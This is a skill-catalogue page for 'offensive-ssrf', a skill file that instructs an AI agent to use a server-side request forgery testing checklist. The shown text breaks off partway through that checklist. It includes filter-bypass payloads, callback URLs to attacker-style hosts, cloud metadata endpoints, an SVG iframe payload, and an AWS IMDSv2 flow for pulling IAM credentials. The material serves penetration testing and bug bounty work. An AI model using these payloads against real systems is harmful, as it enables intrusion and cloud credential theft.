offensive-ssrf
Server-Side Request Forgery testing checklist: SSRF discovery, blind SSRF with out-of-band, cloud metadata endpoints (AWS/GCP/Azure), SSRF filter bypass techniques (IP encoding, DNS rebinding, redirect chains), and SSRF to RCE escalation. Use for web app SSRF testing and bug bounty.
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-ssrfInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Our assessment of offensive-ssrf
offensive-ssrf scores 96/100 on our quality scale, 155th of 2,185 Development & Engineering skills we index (top 8%).
Its SKILL.md is 25 KB long, well organised into 85 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-ssrf is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-ssrf compared with similar skills
All 4 of these similar skills score higher than offensive-ssrf; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-ssrf (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.5k | 11d ago | CLAUDE.md |
| ai-job-searchby MadsLorentzen | 100 | 44.0k | 5d ago | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 41.7k | today | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-ssrf?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-ssrf. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-ssrf work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-ssrf safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-ssrf still maintained?
- The repository was last updated 6 days ago, so offensive-ssrf is actively maintained.
Skill content
View source on GitHubSKILL: Server-Side Request Forgery (SSRF)
Metadata
- Skill Name: ssrf
- Folder: offensive-ssrf
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/ssrf.md
Description
Server-Side Request Forgery testing checklist: SSRF discovery, blind SSRF with out-of-band, cloud metadata endpoints (AWS/GCP/Azure), SSRF filter bypass techniques (IP encoding, DNS rebinding, redirect chains), and SSRF to RCE escalation. Use for web app SSRF testing and bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of:
SSRF, server-side request forgery, blind SSRF, cloud metadata, AWS metadata, GCP metadata, SSRF bypass, DNS rebinding, redirect chain, SSRF RCE, internal port scan
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Server-Side Request Forgery (SSRF)
Shortcut
- Spot the features prone to SSRF and take notes for future reference.
- Set up a callback listener to detect blind SSRF by using an online service, Netcat, or Burp's Collaborator feature.
- Provide the potentially vulnerable endpoints with common internal addresses or the address of your callback listener.
- Check if the server responds with information that confirms the SSRF. Or, in the case of a blind SSRF, check your server logs for requests from the target server.
- In the case of a blind SSRF, check if the server behavior differs when you request different hosts or ports.
- If SSRF protection is implemented, try to bypass it by using the strategies discussed in this chapter.
- Pick a tactic to escalate the SSRF.
flowchart LR
A[Identify SSRF Vectors] --> B[Setup Callback Listener]
B --> C[Test Internal Addresses]
C --> D{Response Contains\nInternal Data?}
D -->|Yes| E[Basic SSRF Confirmed]
D -->|No| F[Check Callback\nListener Logs]
F --> G{Callbacks\nReceived?}
G -->|Yes| H[Blind SSRF Confirmed]
G -->|No| I[Try Bypass Techniques]
I --> J[Retest with Bypasses]
E --> K[Escalate SSRF]
H --> K
J --> D
Mechanisms
Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to induce a server-side application to make requests to an unintended location. In a successful SSRF attack, the attacker can force the server to connect to:
- Internal services within the organization's infrastructure
- External systems on the internet
- Services on the same server (localhost)
- Cloud service provider metadata endpoints
graph TD
A[Attacker] -->|Sends crafted request| B[Vulnerable Web App]
B -->|Makes request to| C[Unintended Target]
C -->|Responds with data| B
B -->|Includes response data| A
subgraph "Possible Targets"
C
D[Internal Network Services]
E[Cloud Metadata Service]
F[External Web Services]
G[Local Services on Same Server]
end
C --- D
C --- E
C --- F
C --- G
Types of SSRF include:
- Basic SSRF: Direct requests to internal/external resources
- Blind SSRF: No response returned, but requests still occur
- Semi-blind SSRF: Limited information returned in responses
- Time-based SSRF: Detection through response timing differences
- Out-of-band SSRF: Secondary channel used for data exfiltration
Hunt
Identifying SSRF Vectors
-
URL Input Fields:
- Website preview generators
- Document/image imports from URLs
- API integrations with external services
- Webhook configurations
- Export to PDF/screenshot functionality
-
Proxy Functionality:
- Web proxies
- Content fetchers
- API gateways
- Translation services
-
File Processing:
- Media conversion tools
- Document processors
- XML/JSON processors with external entity support
-
Integration Points:
- Third-party service connections
- Cloud storage integrations
- Monitoring systems
- Webhook endpoints
mindmap
root((SSRF Vectors))
URL Input Fields
Website Previews
URL Imports
API Integrations
Webhooks
PDF/Screenshot Export
Proxy Functionality
Web Proxies
Content Fetchers
API Gateways
Translation Services
File Processing
Media Converters
Document Processors
XML/JSON Processors
Integration Points
Third-party Services
Cloud Storage
Monitoring Systems
Webhook Endpoints
Test Methodology
- Identify Parameters: Find URL or hostname parameters
- Setup Listener: Configure a system to detect callbacks
- Public server with unique URL
- Burp Collaborator
- Tools like Interactsh or canarytokens.org
- Test Internal Access: Try accessing internal resources
http://localhost:port http://127.0.0.1:port http://0.0.0.0:port http://internal-service.local http://169.254.169.254/ (cloud metadata) - Observe Responses: Check for:
- Response time differences
- Error messages
- Content leakage
- Callbacks to your server
sequenceDiagram
participant Attacker
participant WebApp as Vulnerable Web App
participant Internal as Internal Services
participant CallbackServer as Attacker's Callback Server
Note over Attacker,CallbackServer: Phase 1: Basic SSRF Testing
Attacker->>WebApp: Request with Internal URL<br>(http://localhost:8080)
WebApp->>Internal: Makes request to internal service
Internal->>WebApp: Response from internal service
WebApp->>Attacker: Leaked internal response
Note over Attacker,CallbackServer: Phase 2: Blind SSRF Testing
Attacker->>WebApp: Request with Callback URL<br>(http://attacker-server.com/unique-id)
WebApp->>CallbackServer: Makes request to callback server
CallbackServer->>Attacker: Log notification of request
Note over Attacker,CallbackServer: Phase 3: Bypass Testing
Attacker->>WebApp: Request with Obfuscated URL<br>(http://127.0.0.1.attacker.com)
WebApp->>CallbackServer: Makes request due to parser confusion
CallbackServer->>Attacker: Log notification of successful bypass
Bypass Techniques Hunting
- Look for partial validation or URL parsing issues
- Test scheme changes (http→https, http→file)
- Try different IP formats (decimal, octal, hex)
- Use URL shorteners if allowed
- Check DNS rebinding possibilities
Bypass Techniques
Allowlist Bypasses
- Open Redirects: Using allowed domains with redirect parameters
https://allowed-domain.com/redirect?url=http://internal-server - DNS Spoofing: Register expired domains from allowlist
- Subdomain Takeover: Control subdomains of allowed domains
- Path Traversal:
https://allowed-domain.com@evil.com
Denylist Bypasses
- Alternate IP Representations:
http://127.0.0.1/ http://127.1/ http://0177.0.0.1/ http://0x7f.0.0.1/ http://2130706433/ (decimal representation) - IPv6 Variations:
http://[::1]/ http://[::127.0.0.1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/ - Domain Resolutions:
http://localhost.evil.com/ (when attacker controls evil.com DNS) http://spoofed-domain/ (with modified /etc/hosts) - URL Encoding Tricks:
http://127.0.0.1/ → http://127%2e0%2e0%2e1/ http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/ - Non-Standard Ports: Accessing standard services on non-standard ports
- Case Manipulation:
http://LoCaLhOsT/ - URL Schema Confusion:
http:////localhost/
flowchart TD
A[SSRF Protection Bypass] --> B[Allowlist Bypass]
A --> C[Denylist Bypass]
B --> B1[Open Redirects]
B --> B2[DNS Spoofing]
B --> B3[Subdomain Takeover]
B --> B4[Path Traversal]
C --> C1[IP Representation Tricks]
C1 --> C1a[Decimal: 2130706433]
C1 --> C1b[Octal: 0177.0.0.1]
C1 --> C1c[Hex: 0x7f.0.0.1]
C1 --> C1d[Shortened: 127.1]
C --> C2[IPv6 Variations]
C2 --> C2a["[::1]"]
C2 --> C2b["[::127.0.0.1]"]
C --> C3[Domain Tricks]
C3 --> C3a[localhost.evil.com]
C3 --> C3b[spoofed-domain]
C --> C4[Encoding Tricks]
C4 --> C4a[URL Encoding]
C4 --> C4b[Double Encoding]
C --> C5[Schema Confusion]
C5 --> C5a["http:////localhost"]
style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
style B fill:#aae,stroke:#333,color:#333
style C fill:#aae,stroke:#333,color:#333
Uncommon Techniques
- DNS Rebinding: Change DNS resolution mid-connection
- Temporal Intents: Reliance on stale DNS resolution
- Double URL Encoding: Encode already encoded values
- Unicode Normalization: Using similar-looking characters
- Protocol Downgrading: Switching from https to http
Additional Cloud Endpoints
- Alibaba Cloud:
http://100.100.100.200/latest/meta-data/ - Packet Cloud:
https://metadata.packet.net/userdata - ECS Task:
http://169.254.170.2/v2/credentials/ - OpenStack:
http://169.254.169.254/openstack/latest/meta_data.json
Other Bypass Methods
- Weak Parser Exploits:
http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ - Filter Bypass:
0://evil.com:80;http://google.com:80/ - Enclosed Alphanumerics: Using special Unicode characters that look like regular characters
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ - Host header abuse (
Host:orX-Forwarded-Host:) against permissive back-end proxies - Unicode homoglyph hostnames (e.g., ⅰⅱⅲ.local) to dodge simple regex checks
- DNS-over-HTTPS lookups (
https://dns.google/resolve?name=…) to leak internal hostnames
PDF SSRF Exploitation
When SSRF occurs in PDF rendering functionality, SVG can be used to exploit it:
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
Additional IP Representation Bypasses
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
http://0330.072.0326.0343
http://033016553343
http://0x0NaN0NaN
http://0xNaN.0xaN0NaN
http://0xNaN.0xNa0x0NaN
http://shmilon.0xNaN.undefined.undefined
http://NaN
http://0NaN
http://0NaN.0NaN
Vulnerabilities
Common SSRF Vulnerabilities
Cloud Metadata Access
- AWS:
http://169.254.169.254/latest/meta-data/(IMDSv2 is now default; first acquire a session token withPUT /latest/api/tokenand include it inX-aws-ec2-metadata-token)
AWS IMDSv2 Session Token Bypass Techniques:
Many SSRF filters block 169.254.169.254 but miss the two-step IMDSv2 flow:
# Step 1: Obtain session token (requires PUT request)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# If application supports PUT via SSRF parameter:
# Example 1: Via parameter that accepts methods
POST /api/fetch
{
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
# Example 2: Via URL scheme that triggers PUT
http://vulnerable.com/proxy?url=http://169.254.169.254/latest/api/token&method=PUT
# Step 2: Use token to access metadata
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
X-aws-ec2-metadata-token: <TOKEN_FROM_STEP1>
IMDSv2 Bypass Scenarios:
- Application supports custom HTTP methods in SSRF
- Server-side HTTP c
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
ai-job-search
44.0kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
41.7kA visual, example-driven guide to Claude Code — from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
